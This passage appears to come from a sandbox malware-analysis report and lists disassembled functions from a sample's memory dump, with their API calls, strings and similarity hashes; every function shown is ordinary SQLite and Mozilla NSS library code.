Opcode Fuzzy Hash: 0ec49084e1701a92d787acdc700dcb12d899184bd2bbeb7b1dbc5ff275debdcd
Instruction Fuzzy Hash: E431C67074520E5FFB54AFA58C46BAE7A79AB45B19F204215FE10AFF80DB70D4008BA2

Function 6C482F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C482FFD
sqlite3_initialize.NSS3 ref: 6C483007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C483032
sqlite3_mprintf.NSS3(6C4EAAF9,?), ref: 6C483073
sqlite3_free.NSS3(?), ref: 6C4830B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C4830C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C4830BB

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 23e39b8ef8563b13a0059cef691693a118a0bad5b2dfe27e1456a7aea3e9a38a
Instruction ID: 7ff38a00b25d41c22d49ee7306bb96fffe96ea1fb12d5d37224d71cb6319ac12
Opcode Fuzzy Hash: 23e39b8ef8563b13a0059cef691693a118a0bad5b2dfe27e1456a7aea3e9a38a
Instruction Fuzzy Hash: 4041AE71A01606ABDB10CF25D880F8AB7F5FF49369F148628EC598BB40E731E995CBD1

Function 6C3C8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C3D124D,00000001), ref: 6C3C8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C3D124D,00000001), ref: 6C3C8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C3D124D,00000001), ref: 6C3C8D73
PR_Unlock.NSS3(?,?,?,?,?,6C3D124D,00000001), ref: 6C3C8D8C

Part of subcall function 6C45DD70: TlsGetValue.KERNEL32 ref: 6C45DD8C
Part of subcall function 6C45DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C45DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C3D124D,00000001), ref: 6C3C8DBA

Strings

KRAM, xrefs: 6C3C8D3E
KRAM, xrefs: 6C3C8CF9

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 261dc2fbef38eb692b72b43c0ee6d0fc0cf01a6e1f4c8618a4bb30250fc5503d
Instruction ID: 09b49da63315bf958b8f164c5cf7d5d77887b07f02ba0c22ac0f5db4d68f165a
Opcode Fuzzy Hash: 261dc2fbef38eb692b72b43c0ee6d0fc0cf01a6e1f4c8618a4bb30250fc5503d
Instruction Fuzzy Hash: 0C214AB5A046018FCB00EF38C4886AEB7F4BF45308F15896AD89987701DB35E986CF93

Function 6C4C0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C4C0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C4C0EFA

Part of subcall function 6C3AAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C3AAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4C0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C4C0ED9, 6C4C0EE5, 6C4C0F06, 6C4C0F0B
Aborting, xrefs: 6C4C0EB3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: de09177862ecac6df8b77262fbba46909942c23a4a940bb3203740a57994304a
Instruction ID: 0e8f9cdf976a99cd1c117f3bfc2531a9e1347046a91b25f90da8a395455e0f1b
Opcode Fuzzy Hash: de09177862ecac6df8b77262fbba46909942c23a4a940bb3203740a57994304a
Instruction Fuzzy Hash: 7801ADB6A00144ABDF01AF68DC45C9B3B2CEF47268B014028FD0987711D771E950DAA3

Function 6C2D9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C2CAB89: EnterCriticalSection.KERNEL32(6C31E370,?,?,?,6C2934DE,6C31F6CC,?,?,?,?,?,?,?,6C293284), ref: 6C2CAB94
Part of subcall function 6C2CAB89: LeaveCriticalSection.KERNEL32(6C31E370,?,6C2934DE,6C31F6CC,?,?,?,?,?,?,?,6C293284,?,?,6C2B56F6), ref: 6C2CABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2A4A68), ref: 6C2D945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C2D9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C2D9482
__Init_thread_footer.LIBCMT ref: 6C2D949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C2D946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C2D947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C2D9459

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 82c61ab8905cbbfad1c1d4a88fd3e8cd5d5d3afeb1c46856af93948790a303dd
Instruction ID: 600c9f7e502b6c7e858ab639826baacb9d5b5ff87667be91bd982316d24dc12b
Opcode Fuzzy Hash: 82c61ab8905cbbfad1c1d4a88fd3e8cd5d5d3afeb1c46856af93948790a303dd
Instruction Fuzzy Hash: 8C012834B041058FE700EB5DE822A85337CAB1D32EF050537FC0A87F42DE25E5648957

Function 6C484D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C484DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C484DE0

Strings

misuse, xrefs: 6C484DD5
%s at line %d of [%.10s], xrefs: 6C484DDA
API call with %s database connection pointer, xrefs: 6C484DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C484DCB
invalid, xrefs: 6C484DB8

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 582bf4766f79bed0383f1f65c11c02dff83e11e547e5e7d769bcd535866272b7
Instruction ID: a980c1f89f8f4621ad8e96b9503cac98c79a4904cdfdb53c2c541f16e76a4b18
Opcode Fuzzy Hash: 582bf4766f79bed0383f1f65c11c02dff83e11e547e5e7d769bcd535866272b7
Instruction Fuzzy Hash: 45F0E915E166A42BD701C565DC30F863BDD5F4639BF4719A1ED047BFD3D205D89082C1

Function 6C484DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C484E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C484E4D

Strings

misuse, xrefs: 6C484E42
%s at line %d of [%.10s], xrefs: 6C484E47
API call with %s database connection pointer, xrefs: 6C484E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C484E38
invalid, xrefs: 6C484E25

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: afb8c8cfbac07906c436ff6d772a19a78735dfca6cba9302914f5e0555d588e7
Instruction ID: b0cd3c9c7659cd89f82f64b6e1e7626f80034d95db0a62be1c6e28bd3f302373
Opcode Fuzzy Hash: afb8c8cfbac07906c436ff6d772a19a78735dfca6cba9302914f5e0555d588e7
Instruction Fuzzy Hash: 16F02E11E469682BE610C125DC30FA3378D5F1539BF0A54A1EA0577F92D305D86142F1

Function 6C3F0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C3F1444,?,00000001,?,00000000,00000000,?,?,6C3F1444,?,?,00000000,?,?), ref: 6C3F0CB3

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C3F1444,?,00000001,?,00000000,00000000,?,?,6C3F1444,?), ref: 6C3F0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C3F1444,?,00000001,?,00000000,00000000,?,?,6C3F1444,?), ref: 6C3F0DEC

Part of subcall function 6C410F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C3B2AF5,?,?,?,?,?,6C3B0A1B,00000000), ref: 6C410F1A
Part of subcall function 6C410F10: malloc.MOZGLUE(00000001), ref: 6C410F30
Part of subcall function 6C410F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C410F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C3F1444,?,00000001,?,00000000,00000000,?), ref: 6C3F0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C3F1444,?,00000001,?,00000000), ref: 6C3F0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C3F1444,?,00000001,?,00000000,00000000,?), ref: 6C3F0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C3F1444,?,00000001,?,00000000,00000000,?,?,6C3F1444,?,?,00000000), ref: 6C3F0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C3F1444,?,00000001,?,00000000,00000000,?), ref: 6C3F0E79

Part of subcall function 6C401560: TlsGetValue.KERNEL32(00000000,?,6C3D0844,?), ref: 6C40157A
Part of subcall function 6C401560: EnterCriticalSection.KERNEL32(?,?,?,6C3D0844,?), ref: 6C40158F
Part of subcall function 6C401560: PR_Unlock.NSS3(?,?,?,?,6C3D0844,?), ref: 6C4015B2

Part of subcall function 6C3CB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C3D1397,00000000,?,6C3CCF93,5B5F5EC0,00000000,?,6C3D1397,?), ref: 6C3CB1CB
Part of subcall function 6C3CB1A0: free.MOZGLUE(5B5F5EC0,?,6C3CCF93,5B5F5EC0,00000000,?,6C3D1397,?), ref: 6C3CB1D2

Part of subcall function 6C3C89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C3C88AE,-00000008), ref: 6C3C8A04
Part of subcall function 6C3C89E0: EnterCriticalSection.KERNEL32(?), ref: 6C3C8A15
Part of subcall function 6C3C89E0: memset.VCRUNTIME140(6C3C88AE,00000000,00000132), ref: 6C3C8A27
Part of subcall function 6C3C89E0: PR_Unlock.NSS3(?), ref: 6C3C8A35

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2a6769f39f654b77a4e3b9f57ff8d7b38e16733acce71f06ca2de8a0a4fb737e
Instruction ID: b3abc652d51d14fb1423bd59a322949d94c4b4045a3910c6aefa2ca9679a6d28
Opcode Fuzzy Hash: 2a6769f39f654b77a4e3b9f57ff8d7b38e16733acce71f06ca2de8a0a4fb737e
Instruction Fuzzy Hash: 9B5173B6E002005FEB009F68DC81EAF37A8AF5525CF550464FC559B712EB32ED198AE3

Function 6C3A6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C3A6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C3A6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C3A6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C3A6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C3A6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C3A7010
sqlite3_value_blob.NSS3(?,?), ref: 6C3A701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C3A7052

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f55c7868dc30d604505d315a072690229bb5bda01af0558602ab8ccf01ab608a
Instruction ID: df7e876a70058bca6f123c0ec6e06fd6637dfb294b6e7264a1b8e4efac42822a
Opcode Fuzzy Hash: f55c7868dc30d604505d315a072690229bb5bda01af0558602ab8ccf01ab608a
Instruction Fuzzy Hash: 0B61C2B1E052058BDB00CBE9C840BEEB7B2EF49308F184169D455AB755E7369C27CFA1

Function 6C418F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C417313), ref: 6C418FBB

Part of subcall function 6C4107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C3B8298,?,?,?,6C3AFCE5,?), ref: 6C4107BF
Part of subcall function 6C4107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4107E6
Part of subcall function 6C4107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C41081B
Part of subcall function 6C4107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C410825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C417313), ref: 6C419012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C417313), ref: 6C41903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C417313), ref: 6C41909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C417313), ref: 6C4190DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C417313), ref: 6C4190F1

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C417313), ref: 6C41906B

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C417313), ref: 6C419128

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 4e1abfa3a9b2f9820687d893133aff7b3ea0bccb7dc6718d012664f7353320bb
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: BE518C71A082018FFB14CF6ADC44F36B7F5AF54329F154029E99597F61EB32E844CA91

Function 6C4C0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C086C

Part of subcall function 6C4C0930: EnterCriticalSection.KERNEL32(?,00000000,?,6C4C0C83), ref: 6C4C094F
Part of subcall function 6C4C0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C4C0C83), ref: 6C4C0974
Part of subcall function 6C4C0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4C0983
Part of subcall function 6C4C0930: _PR_MD_UNLOCK.NSS3(?,?,6C4C0C83), ref: 6C4C099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C4C798A), ref: 6C4C08AA
free.MOZGLUE(?,00000000,00000000,?,?,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C08C7
free.MOZGLUE(?,00000000,00000000,?,?,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C08E9
free.MOZGLUE(?,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C4C7AE2,?,?,?,?,?,?,6C4C798A), ref: 6C4C090E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 2b949ed2583a33de289147b2fc52d02693d555ffb2bf5dd662278cd76e5dd30d
Instruction ID: de59cdfa078139f71470e78b52f4eaaa874479cacb86bc8e35e04584bd5fb165
Opcode Fuzzy Hash: 2b949ed2583a33de289147b2fc52d02693d555ffb2bf5dd662278cd76e5dd30d
Instruction Fuzzy Hash: 821163F9B012404BEF00DB59DC8AF4B3778AB52259F1A0164E51997F50DB72E414CBEB

Function 6C334F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C334FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C3351BB

Strings

misuse, xrefs: 6C3351AF
unable to delete/modify user-function due to active statements, xrefs: 6C3351DF
%s at line %d of [%.10s], xrefs: 6C3351B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3351A5

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
